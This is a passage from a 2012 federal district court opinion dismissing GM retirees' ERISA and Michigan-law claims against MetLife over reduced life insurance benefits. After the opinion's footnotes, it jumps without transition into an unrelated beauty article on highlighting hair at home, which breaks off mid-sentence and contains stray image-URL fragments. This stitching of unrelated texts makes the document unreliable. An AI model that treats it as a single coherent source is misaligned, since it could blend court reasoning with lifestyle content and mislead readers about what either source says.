"specifically identifiable" funds to MetLife's care. See Live Nation Worldwide, Inc. v. Hillside Productions, Inc., No. 10-11395, 2011 U.S. Dist. LEXIS 34405, at *6-7 (E.D. Mich. Mar. 30, 2011) ("For a plaintiff to prevail on a claim of conversion for money, 'the defendant must have an obligation to return the specific money entrusted to his care.'") (citation omitted). At best, plaintiffs have alleged a right to make a future claim for term life insurance benefits. Second, even if one or more plaintiffs or their beneficiaries has already made or could make a claim for benefits, the conversion claim still fails. The '"failure to pay a debt, without more, does not amount to conversion of the unpaid funds.'" Id. at *7 (citation omitted). 2. Count VIII - Unjust Enrichment Count VIII claiming unjust enrichment fails for the same reason that the ERISA based unjust enrichment/disgorgement theory fails, as will be explained below. In short, plaintiffs have not alleged that they conferred any benefit on MetLife; rather, they allege GM made the premium payments. See Erickson's Flooring & Supply Co., Inc. v. Tembec, Inc., 212 Fed. Appx. 558, 564 (6th Cir. 2007) (stating that under Michigan law, unjust enrichment requires "receipt of a benefit by the defendant from the plaintiff") (emphasis added); Gold v. Cadence Innovation, LLC, 577 F. Supp. 2d 896, 901-03 (E.D. Mich. 2008) (dismissing unjust enrichment claim). 3. Count IX - Breach of Contract In Count IX, plaintiffs allege that MetLife breached "written contracts for life insurance benefits" with plaintiffs. FAC at ¶ 109-10. Plaintiffs have not alleged the basic elements a breach of contract claim. To plead a breach of contract claim under Michigan law, a plaintiff must allege (1) the existence of a contract, (2) the terms of the contract, (3) breach of the contract by the defendant, and (4) that the breach caused the plaintiff's injury. See Webster v. Edward D. Jones & Co., 197 F.3d 815, 819 (6th Cir. 1999). Because Count IX contains only conclusory statements on these elements -plaintiffs cannot identify any purported contract other than the Plan - plaintiffs' breach of contract claim fails to state a plausible claim for relief. See Battah v. ResMAE Mortg. Corp., 746 F. Supp. 2d 869, 876 (E.D. Mich. 2010) (dismissing contract claim containing only "conclusory allegations" and a "formulaic recitation of the elements of [the] claim"). 4. Count X - Negligent Misrepresentation To state a claim for negligent misrepresentation, plaintiffs must allege that MetLife made a false misrepresentation, prepared without reasonable care, and which was justifiably relied upon by plaintiffs to their detriment. See Evans v. Mercedes Benz Fin. Servs., No. 11-11450, 2011 U.S. Dist. LEXIS 79404, at *13 (E.D. Mich. July 21, 2011). Here, plaintiffs have not plead any facts demonstrating that any statements in the notice letters they received was not true when made. Moreover, an actionable misrepresentation must relate to past or existing facts, not future promises of performance. See German Free State of Bavaria v. Toyobo Co., Ltd., 480 F. Supp. 2d 958, 965 (W.D. Mich. 2007). The misrepresentations in this case, however, do not relate to such promises. Plaintiffs rely exclusively on the prospective statement that "their life insurance benefits would remain in effect for the rest of their lives." FAC at ¶113. Finally, any reliance on the notice letters was unreasonable as a matter of law. The GM plan documents expressly stated that the terms of the plan could be amended by GM at any time, which GM did in bankruptcy proceedings. Overall, Count X fails to state a claim for relief 5. Count XI - Uniform Trade Practice Act MetLife says that Count XI fails for three reasons. The Court agrees. First, the twelve-percent interest penalty in the statute only applies if, among other things, a claim for insurance benefits is not paid within "60 days after satisfactory proof of loss was received by the insurer[.]" M.C.L. § 500.2006(4); see also Acme Roll Forming Co. v. Home Ins. Co., 31 Fed. Appx. 866, 872 (6th Cir. 2002) (holding that whether interest is payable "hinges on whether and when Acme provided a 'satisfactory' proof of loss to Home Insurance"). The FAC does not allege that any plaintiff presently is entitled to the life insurance benefits sought, let alone that "satisfactory proof of loss" has been provided to MetLife. Second, even if a plaintiff filed a claim for benefits, no plaintiff is entitled to any more than a $10,000 continuing life insurance benefit. There is no underlying claim for additional benefit amounts, and thus any claim for additional interest should be dismissed. See, e.g., Mass. Mut. Life Ins. Co. v. Johnson, No. 08-14130, 2009 U.S. Dist. LEXIS 17254, at *14 (E.D. Mich. Mar. 6, 2009) (interest not recoverable where no claim for benefits exists). Finally, Count XI must be dismissed to the extent plaintiffs seek numerous forms of damages and amounts that are not authorized by the interest provision of M.C.L.§ 500.2006(4). See Burns v. Unum Group, No. 10-11957, 2010 U.S. Dist. LEXIS 132499, at *15-16 (E.D. Mich. Dec. 15, 2010). D. ERISA Claims The FAC also alleges six ERISA claims. The first three counts, promissory estoppel (Count I), breach of the ERISA plan (Count II), and breach of fiduciary duty under ERISA § 502(a)(2) (Count III), are all based upon (1) the notice letters purportedly representing that the amount of plaintiffs' continuing life insurance benefits would continue for their lifetime, which plaintiffs characterize as a false promise because the benefits have now been reduced decades later, and (2) MetLife's alleged failure to disclose that the continuing life insurance benefits were conditioned upon GM's continued premium payments. All of these counts seek compensatory and consequential damages. The three remaining ERISA counts are brought under ERISA § 502(a)(3). Count IV alleges that MetLife, in violation of state law, failed to give plaintiffs proper notice of an alleged "constructive termination"of the continuing life insurance benefits. Plaintiffs seek a declaratory judgment that their pre-GM bankruptcy continuing life insurance benefit amounts remain in effect. Count V alleges a claim for unjust enrichment on the theory that MetLife received premium payments sufficient to cover the pre-GM bankruptcy continuing life insurance benefit amounts. Although plaintiffs do not say that they paid these premiums, they nonetheless seek "disgorgement." Count VI does not assert any separate grounds for liability under ERISA but instead simply seeks to impose a constructive trust or equitable lien on any funds received by MetLife as a result of the conduct described in other ERISA counts. MetLife says all of these claims fail for several reasons. The reasons are addressed in turn below. 1. Metlife Did Not Reduce the Continuing Life Insurance Benefit MetLife first says that it has no responsibility for the reduction in plaintiffs' continuing life insurance benefits. MetLife is correct. Under the Plan terms, GM had the sole and exclusive right to amend or modify Plan benefits, not MetLife. The Court does not have to accept the FAC's allegation that MetLife reduced plaintiffs' benefits, FAC at ¶ 56, 58. It is clear from GM's bankruptcy proceedings that GM, not MetLife, reduced plaintiffs' continuing life insurance benefit amounts. MetLife cannot be responsible under ERISA (or otherwise) for administering the new terms of the GM plan. While this finding alone could end the matter, MetLife offers additional reasons for why plaintiffs' ERISA claims fail. 2. MetLife's Notice Letters Cannot Create ERISA Liability In 1998, the Court of Appeals for the Sixth Circuit, sitting en banc, examined GM's Plan language and held that under ERISA, GM had the right to change "lifetime" welfare benefits. Sprague v. GM, 133 F.3d 388 (6th Cir. 1988). In Sprague, a purported class of retired GM employees sued to recover allegedly "fully 'paid-up' lifetime health care benefits." 133 F.3d at 392. As part of reductions in its salaried work force, "GM made numerous oral and written representations about the health care benefits available to early retirees." Id. at 395. Similar to the allegations by plaintiffs here, "[t]he main thrust of the plaintiffs' complaint was that [through these oral and written representations] GM had bound itself to provide salaried retirees and their spouses basic health coverage for life, entirely at GM's expense." Id. The Sixth Circuit rejected plaintiffs' claim. The court of appeals observed that-like here-it was dealing with an employee welfare benefit plan and not a pension plan. The difference was significant because unlike a pension plan, welfare benefit plans are exempt from ERISA's vesting requirements. Id. at 400. It held that while an employer may contractually agree to vest welfare plan benefits, such a commitment "is not to be inferred lightly," and that "the intent to vest 'must be found in the plan documents and must be stated in clear and express language.'" Id. Therefore, the Sixth Circuit concluded that the writings promising GM's early retirees certain health care benefits were not plan documents and were subject to GM's right-repeatedly and unequivocally reserved in the Plan-to amend or terminate benefits in the plan documents. Id. at 393-94, 400-403. Accordingly, the retirees had no basis to insist that GM continue to provide the amount of healthcare benefits they say they were promised for their lifetime. Id. Plaintiffs advance the same theory rejected in Sprague -- that individualized letters identifying benefit amounts for the retirees' lifetimes can trump contemporaneous ERISA plan language reserving unto the plan sponsor the right to terminate or modify plan benefits. Subsequent Sixth Circuit decisions have followed Sprague and rejected purported ERISA claims based on non-plan documents such as correspondence, summaries or benefit worksheets. Crosby v. Rohm & Haas Co., 480 F.3d 423, 428-30 (6th Cir. 2007) (requiring formal amendments of plans in accordance with plan procedures); Hardy, 66 Fed. Appx. at 538-39 (following Sprague and affirming dismissal of ERISA claim based on letters received by retiree on health care benefits). Plaintiffs' claims against MetLife are based solely on one-page letters to plaintiffs stating that certain amounts of life insurance under the GM plan "will remain in effect for the rest of your life," fall within the class of ERISA claims that the Sixth Circuit rejected based on Sprague and its progeny. Attempting to distinguish Sprague, plaintiffs contend that they are proceeding on a theory of promissory estoppel which is permitted under Sprague. In Sprague, the Sixth Circuit held that such a claim requires (1) conduct or language amounting to a misrepresentation of material fact, (2) that the party to be estopped is aware of the true facts, (3) an intention that the misrepresentation will be relied upon, (4) that the party asserting estoppel is unaware of the true facts, and (5) actual justifiable reliance on the misrepresentation to the detriment of the party asserting estoppel. Sprague, 133 F.3d at 403. However, the Sixth Circuit narrowly limited the circumstances in which a promissory estoppel theory can be invoked: "Principles of estoppel.cannot be applied to vary the terms of unambiguous plan documents; estoppel can only be invoked in the context of ambiguous plan provisions." Id. at 404. Importantly, the Sixth Circuit rejected the promissory estoppel claim because the plan unambiguously reserved unto GM the right to amend the plan terms. Plaintiffs' promissory estoppel ERISA claim suffers the same fate. Plaintiffs have not alleged the Plan terms are ambiguous, a threshold prerequisite to any promissory estoppel claim. This alone is fatal. See Marks v. Newcourt Credit Group, Inc., 342 F.3d 444 (6th Cir. 2003) (dismissing estoppel claim at pleadings stage where plan was unambiguous). Plaintiffs also cite Bloemker v. Laborers' Local 265 Pension Fund, 605 F.3d 436 (6th Cir. 2010), to support an ERISA promissory estoppel claim. In Bloemker, the panel majority stated that "[w]e have [] allowed enforcement of something other than the plan documents based on estoppel under appropriate circumstances." Id. (emphasis added). However, the allegations in the FAC do not qualify as appropriate circumstances, which the Bloemker panel described as "(1) a written representation; (2) plan provisions which, although unambiguous, did not allow for individual calculation of benefits; and (3) extraordinary circumstances in which the balance of equities strongly favors the application of estoppel." Id. The panel allowed the promissory estoppel claim to proceed because plaintiff received letters identifying the amount of plaintiff's monthly pension benefits and because "it would have been impossible for him to determine his correct pension benefit given the complexity of the actuarial calculations and his lack of knowledge about the relevant actuarial assumptions." 605 F.3d at 443. Here, by contrast, plaintiffs allege that the "misstatement" upon which they relied was "that the amount of Plaintiffs' continuing life insurance benefits would not be reduced for the rest of their lives[.]" FAC at ¶ 67. Plaintiffs did not need to engage in complex actuarial calculations. All plaintiffs needed to do was examine the Plan or SPDs, both of which unambiguously reserved to GM the right to amend or cancel benefits at any time. Thus, Bloemakr is distinguishable. To the contrary, plaintiffs here knew, or should have known, from the unambiguous language of the Plan documents that GM could reduce or eliminate their continuing life insurance benefits at any time. Bloemker cannot save plaintiffs' estoppel claim. Plaintiffs' reliance on Yolton v. El Paso Tennessee Pipeline Co., 435 F.3d 571 (6th Cir. 2006) is similarly misplaced. In Yolton, the Sixth Circuit affirmed a preliminary injunction in the plaintiffs' favor on grounds that their health insurance benefits had "vested," because under the plaintiffs' collective bargaining agreement their "pension plan is a lifetime plan and [their] health insurance benefits are tied to the pension plan[.]" Id. at 580. The defendants' SPDs in Yolton also contained inconsistent language with respect to the power to terminate benefits. Id. at 583. Here, by contract, plaintiffs have not alleged that either of these circumstances are present in this case, nor could they: the GM Plan does not contain any language evidencing an intent to vest life insurance benefits, and, to the contrary, repeatedly and expressly reserves GM's right to amend the Plan. Thus, Yolton does not apply. See also Schreiber v. Philips Display Components Co., 692 F. Supp. 2d 747, 759-61 (E.D. Mich. 2010) (distinguishing Yolton because the SPDs did not evidence an intent to vest retiree health insurance benefits). Similarly, the Second Circuit's decision in Devlin v. Empire Blue Cross Blue Shield, 274 F.3d 76 (2d Cir. 2001), which plaintiffs also cite, does not support their theory. In Devlin, the employer's various SPDs contained conflicting statements concerning whether "Empire [the employer] would or could later reduce or eliminate" the life insurance benefits, which discrepancies the Second Circuit found created genuine issues of material fact regarding whether the plaintiffs' benefits vested. Id. at 79-80, 85. Here, the GM Plan documents contained no such inconsistencies and instead expressly reserved the right to amend benefits. See Griffiths v. Ohio Farmers Ins. Co., No. 09-1011, 2009 WL 3817592, at *12 (N.D. Ohio Nov. 13, 2009) (distinguishing Devlin and recognizing that Second Circuit's standard for benefit vesting is more lenient than the Sixth Circuit standard). Overall, the Plan governs plaintiffs' claim for continuing life insurance benefits, not correspondence from MetLife.2 3. The Notice Letters Did Not Contain False Statements MetLife also says that plaintiffs' ERISA claims should be dismissed because the FAC contains no assertions that any statements in the notice letters were untrue at the time they were made. See, e.g., Wilson v. Sw. Bell Tel. Co., 55 F.3d 399, 405 (8th Cir. 1995) (affirming dismissal of ERISA claim where "[n]othing in the record before this court reveals that the representations made to employees about potential future plans were false at the time made"). The Court agrees. The only representation that plaintiffs say is false is that benefit amounts "will remain in effect for the rest of your life." However, that statement was true when made-prior to GM's bankruptcy. At the time, the Plan entitled plaintiffs to receive the benefit amounts identified in the notice letters for their lifetimes. Plaintiffs' theory that MetLife should have predicted that decades later GM would suffer financially and be forced to substantially reduce welfare benefits for its retirees and/or the premiums it was able to pay for those benefits simply cannot support a claim for relief against MetLife. 4. MetLife Had No Duty to Disclose that the Continuing Life Insurance Benefits Were Subject to GM's Periodic Payment of Premiums to MetLife MetLife further contends that Counts I, II and III fail to the extent they are based on the assertion that MetLife "failed to disclose to Plaintiffs that the amount of their continuing life insurance benefits could be reduced in the event that GM failed to make the required premium payments to MetLife and/or that maintaining the amount of each Plaintiffs' continuing life insurance benefits was conditional upon GM's continued payment of premiums to MetLife." FAC at ¶ 68; see also id. at ¶¶ 77, 82-83. The Court agrees. Such a claim is foreclosed by Sprague and the Plan disclosures. Sprague made clear that welfare benefits do not vest, i.e. they are conditional. Plaintiffs' allegations require this Court to draw the implausible inference that salaried GM employees and retirees did not realize that one must pay premiums to secure insurance coverage. Furthermore, there is nothing in ERISA's detailed reporting and disclosure requirements that require the disclosure obligation plaintiffs seek to impose on MetLife, i.e., that a group life insurance policy that funds a welfare benefits plan is conditioned upon continued premium payments by the employer. Rather, ERISA imposes on the plan administrator or employer-here, GM in both cases-the obligation to provide certain notices and disclosures, including but not limited to, a "summary plan description" and an "annual report" concerning the ERISA plan. 29 U.S.C. §§ 1021-1025. ERISA mandates different disclosures depending on whether one is dealing with a pension plan or a welfare benefits plan. ERISA requires disclosure when an employer is going to miss a payment funding a pension plan, but not when it is going to miss a payment funding a welfare benefit plan: If an employer maintaining a plan .fails to make a required installment or other payment required to meet the minimum funding standard under section 1082 of this title [which deals with minimum funding requirements for pension plans] to a plan .the employer shall notify each participant and beneficiary .of such plan of such failure. 29 U.S.C. § 1021(d); see also 29 U.S.C. §§ 1021-1024. The absence of a similar requirement for welfare benefit plans forecloses the disclosure plaintiffs demand from MetLife. Moreover, plaintiffs cannot invoke ERISA fiduciary duties to enhance ERISA's disclosure requirements. As the Sixth Circuit observed, "[i]t would be strange indeed if ERISA's fiduciary standards could be used to imply a duty to disclose information that ERISA's detailed disclosure provisions do not require to be disclosed." Sprague, 133 F.3d at 405; see also id. at 406 (stating that "[w]e are not aware of any court of appeals decision imposing fiduciary liability for a failure to disclose information that is not required to be disclosed"). "[T]he Sixth Circuit has never held that ERISA imposes a general duty of disclosure on fiduciaries." Shirk v. Fifth Third Bancorp, No. 05-49, 2009 U.S. Dist. LEXIS 24490, at *54 (S.D. Ohio Jan. 29, 2009). ERISA does not obligate a fiduciary to disclose to plan participants that benefits may be reduced or cease if the subject plan's sponsor and administrator (or, as here, the plaintiffs' former employer) fails to pay for such coverage. Finally, any disclosure claim under ERISA fails because plaintiffs have not alleged that GM's obligation to make premium payments was material. See Kerber v. Qwest Group Life Ins. Plan, 647 F.3d 950, 971 (10th Cir. 2011) ("We fail to see how misrepresentations regarding Qwest's ability to decrease life insurance coverage would affect a reasonable employee's retirement decisions, where Qwest admittedly retains the right to terminate life insurance coverage.) (emphasis omitted) (affirming dismissal of claims based on employer's reduction of retiree life insurance benefits to $10,000). Plaintiffs do not allege that they would have taken, or not taken, any action had MetLife disclosed that GM's non-payment of premiums could affect MetLife's coverage of their life insurance benefits. Thus, the omitted information cannot be said to be material. 5. ERISA Does Not Authorize Compensatory or Consequential Damages As noted above, plaintiffs seek compensatory and consequential damages from MetLife in Counts I-III. These types of damages are not available under ERISA. See Mass. Mut. Life Ins. Co. v. Russell, 473 U.S. 134, 144 (1985); Helfrich v. PNC Bank, Kentucky, Inc., 267 F.3d 477, 481-83 (6th Cir. 2001); Hoeberling v. Nolan, 49 F. Supp. 2d 575, 580-81 (E.D. Mich. 1999). 6. Count III - ERISA § 502(a)(2), 29 U.S.C. § 1132(a)(2) In Count III, plaintiffs make a breach of fiduciary duty claim against MetLife under 29 U.S.C. § 1132(a)(2). This claim fails because a claim under ERISA Section 502(a)(2) only may be asserted on behalf of the plan. See Loren v. Blue Cross Blue Shield of Michigan, 505 F.3d 598, 608 (6th Cir. 2007); Weiner v. Klais and Co., Inc., 108 F.3d 86, 91-92 (6th Cir. 1997). Plaintiffs allege they are seeking recovery on their own, not on behalf of the Plan. Count III must therefore be dismissed. 7. Counts IV, V and VI - ERISA § 502(a)(3), 29 U.S.C. § 1132(a)(3) MetLife says that because plaintiffs' equitable based ERISA claims actually constitute claims for plan benefits and/or seek clarification of the right to benefits which fall under ERISA § 502(a)(1)(B), any claims under ERISA Section 502(a)(3) are duplicative and do not constitute "appropriate equitable relief." The Court agrees. See Varity Corp. v. Howe, 516 U.S. 489, 515 (1996) ("we should expect that where Congress elsewhere provided adequate relief for a beneficiary's injury [as it does in §502(a)(1)(B)], there will likely be no need for further equitable relief, in which case such relief normally would not be "appropriate."); Marks v. Newcourt Credit Group, 342 F.3d 444, 454 (6th Cir. 2003); Wilkins v. Baptist Healthcare Sys., Inc., 150 F.3d 609, 615-16 (6th Cir. 1998). Counts IV, V and VI must be dismissed, as explained below. a. Count IV - Declaratory Judgment In Count IV, plaintiffs "seek a declaration that Defendant MetLife cannot reduce the amount of Plaintiffs' continuing life insurance benefits below the amount that Defendant MetLife represented would not be reduced for the rest of Plaintiffs' lives" because of a Michigan statute that regulates notice of the "termination of insurance coverage." FAC at p.13 and ¶ 86 (citing M.C.L. § 500.4012(b)). This claim is subject to dismissal for three reasons. First, this claim is both completely and expressly preempted by ERISA. Although labeled an ERISA claim, the entire basis for the claim is a Michigan state law, thus creating an impermissible "alternative enforcement mechanism" with respect to plan benefits. Second, ERISA § 502(a)(3) does not apply here. A plaintiff cannot seek a declaration under ERISA that certain alleged actions violate state law because the plaintiff is not seeking "(A) to enjoin any act or practice which violates any provision of this title or the terms of the plan" or "(B) to obtain other appropriate equitable relief (i) to redress such violation or (ii) to enforce any provisions of this title or the terms of the plan[.]" 29 U.S.C. § 1132(a)(3)(A)-(B). Third, the Michigan statute addresses only terminations of coverage. No such "termination" of insurance coverage occurred here. Indeed, plaintiffs still are entitled to $10,000 and MetLife continues to provide a group term life insurance policy to GM to fund the benefits payable under the Plan. Plaintiffs' "constructive termination" (FAC at ¶ 87) theory fails because the statute addresses only "terminations" and there are no cases addressing this statute have recognized constructive termination. Plaintiffs have not shown how the text of § 1132(a)(3) permits enforcement of a state law. Plaintiffs have cited no Michigan law supporting their strained reading of M.C.L.§ 500.4012(b) which would essentially expand the statute's applicability to court approved reductions in insurance coverage. They instead rely only on the bare assertion that MetLif"s faithful reading of the statute's express terms limiting its application to terminations of coverage somehow elevates form over substance. This is not persuasive. Third, plaintiffs fail to explain how this statute even applies to group life insurance benefits, such as those at issue, given its location in a chapter dealing only with individual life insurance policies. Compare M.C.L. § 500.4000-4073 ("Life Insurance Policies and Annuity Contracts (Other than Industrial or Group)") with M.C.L. § 500.4400-4454 ("Group Life Insurance") (emphasis added). b. Count V - Unjust Enrichment/Disgorgement Count V alleges unjust enrichment/disgorgement under § 502(a)(3). This claim must also be dismissed. Plaintiffs' request for disgorgement is based on a contradictory and implausible factual allegation. Plaintiffs allege in Count V that all premiums were paid in full while alleging elsewhere that GM needed to continue making premium payments in order for them to receive their benefits. FAC at ¶ 68, 77, 82-83, 91-92. "Although alternative legal theories may be plead, contradictory factual allegations may not." Wylie v. City of New Haven, No. 02-313, 2003 U.S. Dist. LEXIS 25273, at *2 n.1 (D. Conn. Feb. 27, 2003) (emphasis added); see also Roller v. Litton Loan Servicing, No. 10-13847, 2011 U.S. Dist. LEXIS 65827, at *14-16 (E.D. Mich. June 21, 2011) (plaintiffs' failed to state "plausible" claim under Twombly standard where their complaint "alleges materially contradictory facts"). Moreover, plaintiffs demand that MetLife "disgorge" the premiums while conceding that GM -and not plaintiffs-made all the payments. It is clear that plaintiffs cannot demand return of monies they never paid. Finally, plaintiffs offer no plausible explanation why a financially-troubled GM would need to reduce retirees' term life insurance benefits to save premium expense if GM already had long-since paid the premiums for those benefits in full. Overall, this claim must be dismissed. c. Count VI - Constructive Trust Count VI does not raise any new theory of ERISA liability. Rather, it seeks a remedy for other alleged ERISA violations. Plaintiffs allege that they "are entitled to a constructive trust and/or equitable lien on any funds received by Defendant MetLife in the course of or as a result of Defendant MetLife's false promises and representations and/or fiduciary breaches or knowing participation in such breaches." FAC at ¶ 95. Because plaintiffs have no viable ERISA claims as described above, Count VI must be dismissed. Count VI also fails because plaintiffs have not alleged an entitlement to an equitable lien or constructive trust under § 1132(a)(3), and instead demands legal damages remedy. In Great-West Life & Annuity Ins. Co. v. Knudson, 534 U.S. 204, 213 (2002), the Supreme Court held that restitution is available under § 1132(a)(3) as a form of "appropriate equitable relief" "in the form of a constructive trust or an equitable lien" only "where money or property identified as belonging in good conscience to the plaintiff could clearly be traced to particular funds or property in the defendant's possession." Here, plaintiffs do not allege any facts concerning the "identifiable" fund, "traceability" or "possession" requirements. They instead demand "any funds" allegedly received, which is a claim for damages. These failures are fatal, because "[p]laintiffs seeking equitable restitution have the burden of establishing that the funds they seek are traceable and readily identifiable." Alexander v. Bosch Auto. Sys., Inc., 232 Fed. Appx. 491, 501 (6th Cir. 2007) (vacating district court order under Section 502(a)(3)). Plaintiffs' equitable based claims ignore the undisputed facts that (1) plaintiffs' alleged harm is a reduction in continuing life insurance benefits, (2) GM periodically paid premiums to MetLife to fund plaintiffs' term insurance coverage, and (3) the bankruptcy court approved GM's reduction to plaintiffs' benefits. No plausible, "equitable" basis exists to indiscriminately disgorge, place a lien upon, or otherwise order the restitution of funds MetLife received over time from GM that are unrelated to plaintiffs' purported harm. Count VI must be dismissed. 8. Res Judicata/Collateral Estoppel Finally, MetLife argues that any ERISA claim is barred by res judicata and/or collateral estoppel. "The normal rules of res judicata and collateral estoppel apply to the decisions of the bankruptcy courts." Katchen v. Landy, 382 U.S. 323, 334 (1966); see also FDIC v. Shearson-American Express, Inc., 996 F.2d 493, 498 (1st Cir. 1993) ("Orders, judgments and decrees of the bankruptcy court from which an appeal is not taken are final . . . even if erroneous."). Plaintiffs, who participated directly or indirectly in the bankruptcy proceedings, may not launch a collateral attack on the bankruptcy court's approval of the MPA - including GM's life insurance benefit reductions - by filing this action against MetLife. Thus, plaintiffs' ERISA claims are subject to dismissal on this ground as well. E. Plaintiffs' Remaining Arguments To preserve their misrepresentation-based ERISA claims, plaintiffs argue that "[o]nce a plan participant retires, the plan cannot be changed in a manner that adversely effects the retired participant's rights." According to plaintiffs, this rule renders GM's power to reduce their life insurance benefits ineffective because "not a single version of the Plan ever explicitly reserved the right for GM to terminate or amend the Plan after the employees' performance was complete." This argument fails. First, the Sprague plaintiffs, like plaintiffs here, were retirees; and the Sixth Circuit nonetheless found GM was free to amend their welfare benefits in light of plan language giving GM that right. Plaintiffs, however, cite decisions concerning top hat pension plans, which are not the same as a welfare plan. See Kemmerer v. ICI Americas Inc., 70 F.3d 281 (3d Cir. 1995); Carr v. First Nationwide Bank, 816 F. Supp. 1476 (N.D. Cal. 1993). A "top hat" plan is "a plan which is unfunded and is maintained by an employer primarily for the purpose of providing deferred compensation for a select group of management or highly compensated employees[.]" 29 U.S.C. § 1051(2). Top hat plans are unique forms of pension plans that are treated very differently from welfare plans. Kemmerer, 70 F.3d at 286, 288; Carr, 816 F. Supp. at 1486, 1491; Bakri v. Venture Mfg. Co., 473 F.3d 677, 678 (6th Cir. 2007). Unlike welfare benefit plans, top hat plans are susceptible to being characterized as "unilateral contracts," by which a participant logically might argue that completing his performance (i.e., employment) vests his top hat benefits, absent a reservation of amendment rights in the plan. See id. Moreover, even if these cases did apply, they are distinguishable on the additional ground that in both cases the employers (unlike GM) failed to properly reserve their right to amend the "vested" top hat benefits. Kemmerer, 70 F.3d at 287 ("the district court correctly concluded that after the [plaintiffs'] rights had vested when they completed performance, ICI could not terminate the plan in the absence of a specific provision in the plan authorizing it to do so.") and 289 (same); Carr, 816 F. Supp. at 1489-91 and 1493-94 (finding top hat payout schedules were detailed and explicit, and termination and modification provisions were inconsistent). In short, plaintiffs' reliance on "top hat" plan case law is misguided. Plaintiffs argue that their estoppel and misrepresentation claims under ERISA are viable by saying that "MetLife, as a fiduciary under the Plan, owes Plaintiffs an independent duty to accurately represent the scope of benefits available under the Plan." Plaintiffs point to plan language and contend the letters at issue in this case constitute "advice" to plaintiffs. This argument is misguided. The first element of a breach of fiduciary duty claim based on an alleged misrepresentation or omission is "that the defendant was acting in a fiduciary capacity when it made the challenged misrepresentation" or omission. Del Rio v. Toledo Edison Co., 130 Fed. Appx. 746, 751 (6th Cir. 2005). "[A] person deemed to be a fiduciary is not a fiduciary for every purpose but only to the extent that he performs one of the described functions" under ERISA. Hamilton v. Carell, 243 F.3d 992, 998 (6th Cir. 2001). Accordingly, courts must examine each individual function of an ERISA defendant to determine if it is acting as a fiduciary. See Pegram v. Herdrich, 530 U.S. 211, 226 (2000); Varity Corp. v. Howe, 516 U.S. 489, 498-505 (1996). Examining MetLife's functions reveals it did not act as a fiduciary in sending form notices to plaintiffs. Here, plaintiffs point to plan language that MetLife had discretionary authority with respect to determining benefit eligibility. See FAC at ¶ 74-77. However, they are do not cite to any plan language (or any other evidence) demonstrating that MetLife had any discretion to determine the content of communications concerning plan benefits, because no such language exists. The fact that MetLife had no discretionary authority when communicating with plaintiffs is further demonstrated by the fact that GM, in its role as the Plan's sponsor, formal administrator and named fiduciary, dictated the format and contents of plaintiffs' letters to MetLife. As detailed in Exhibit A to MetLife's reply brief, GM determined in 1977 that "each retiree age 65 or over who has either reducing or fully-reduced Continuing Life Insurance[] will be notified of the fully reduced amount of Continuing Life Insurance." Id. at 1. These "retiree notices would be mechanically generated by Metropolitan Life Insurance Company and forwarded to the appropriate units for verification prior to release." Id. GM created "[t]hree retiree notice forms" for use by MetLife, and in these notices GM created the language on which plaintiffs now rely for their claims: "This fully reduced amount of your Continuing Life Insurance remains in effect, without cost to you, for the rest of your life." Thus, it cannot be plausibly said that MetLife acted as a "fiduciary" under ERISA by sending informational letters to GM Plan participants, which it "mechanically generated" based on a template provided by GM. Moreover, as explained above, even if MetLife was a fiduciary, "fiduciary duties" cannot be used to expand ERISA's specific and detailed disclosure requirements. No additional disclosures about premium payments are required. The letters accurately stated that plaintiffs no longer needed to make contributions; and they never even addressed - let alone misrepresented - whether GM needed to do so (i.e., make premium payments). Plaintiffs' argument that they "could not possibly have known" that their benefits were conditional upon GM's continued payment of premiums lacks merit given the repeated disclosures in the GM Plan documents that this benefit was term insurance without a paid up cash or loan value. Plaintiffs cannot rely on their own alleged interpretations of the notice letters given the Plan's unambiguous language to the contrary. V. Conclusion Despite a myriad of assertions and a variety of causes of action, plaintiffs have not stated a plausible claim for relief, no matter how they have characterized their claims. The simple facts are: (1) GM had a right to modify the Plan as it related to life insurance benefits; (2) GM modified the Plan as part of its bankruptcy; (3) MetLife had nothing to do with the modification; (4) MetLife's role in sending notice letters to plaintiffs is of no consequence to GM's right to do what it did. Accordingly, for the reasons stated above, MetLife's motion to dismiss is GRANTED. This case is DISMISSED. SO ORDERED. AVERN COHN UNITED STATES DISTRICT JUDGE Certificate of Service I hereby certify that a copy of the foregoing document was mailed to the attorneys of record on this date, June 26, 2012, by electronic and/or ordinary mail. S/Tanya Bankston on behalf of s/Julie Owens Case Manager, (313) 234-5160 1. Plaintiffs also seek class certification; However, they have not moved to certify as class. 2. Although not alleged by plaintiffs, it is unlikely that the notice letters create liability under § 1132(a)(1)(B) in light of the Supreme Court's decision in CIGNA Corporation v. Amara, 131 S.Ct. 1866, 1878 (2011), where the Supreme Court stated that "the summary documents, important as they are, provide communication with beneficiaries about the plan, but [ ] their statements do not themselves constitute the terms of the plan for purposes of § 502(a)(1)(B)." While the notice letters here are not SPDs, they are statements which communicated information to Plan beneficiaries regarding their benefits. Under Amara, such statements do not form a claim for relief under § 1132 (a)(1)(B).

:max_bytes(150000):strip_icc():gifv()/edit_how-to-highlight-hair-at-home-4801671-V4-9513e8c4924247a6834e82889a3f5e0a.png) @acquired.style / Design by Camden Dechert We've all been there: Using a boxed color from the drugstore to hold you over until your next in-salon appointment or to get some serious root coverage. But when it comes to highlighting your own hair, well, the stakes are much higher. Highlighting is not something a professional colorist would ever advise you to do from home. It's a multi-step process that requires a lot of detailed attention and a careful, watchful eye (and hand) every step of the way. Even though a lot can go wrong, if you've already made up your mind that you're giving to give at-home highlights a try, we want you to at least do it as safely as possible. Since experts agree that it isn't safe for those who want to lighten all of their hair more than two shades at home, we're going to focus on how those with existing highlights (or hair color in the blonde family) can touch up their color by highlighting only where the hair parts and the pieces that frame the face. Meet the Expert - KC Carhart is a celebrity colorist at Chris McMillan Salon in Beverly Hills. - Cara Craig is a leading colorist at Suite Caroline Salon in Soho. Read on to learn how to highlight hair at home like a pro. Consult With Your Colorist :max_bytes(150000):strip_icc()/269816940_5168562763208338_7061438141874954070_n-1e5662cac77443178c1f8fa782fa0cd7.jpg) If you can't wait for a professional to do the job for you, you need to at least talk with one first. Consulting your colorist will not only help you to gain some sort of understanding of what you're about to do, but it's an opportunity to collaboratively come up with a strategic approach. Craig cautions that when highlighting your hair at home, you could end up with a completely different color (because the box photos are never the same), odd placement, a blonde that is way too warm and doesn't match the rest of your hair, or color that is way too dark. "I stay in touch with my clients and will troubleshoot their individual situations," she says. "My advice would be to communicate with your colorist and get their recommendation. They know you and your hair." Some brands, like L'Oreal's Color & Co, will offer a free consultation with a professional colorist to help you take your best step forward with at-home hair color. Even if you don't have a trusted go-to colorist, if there's someone you love following on Instagram, or a color brand you're leaning towards 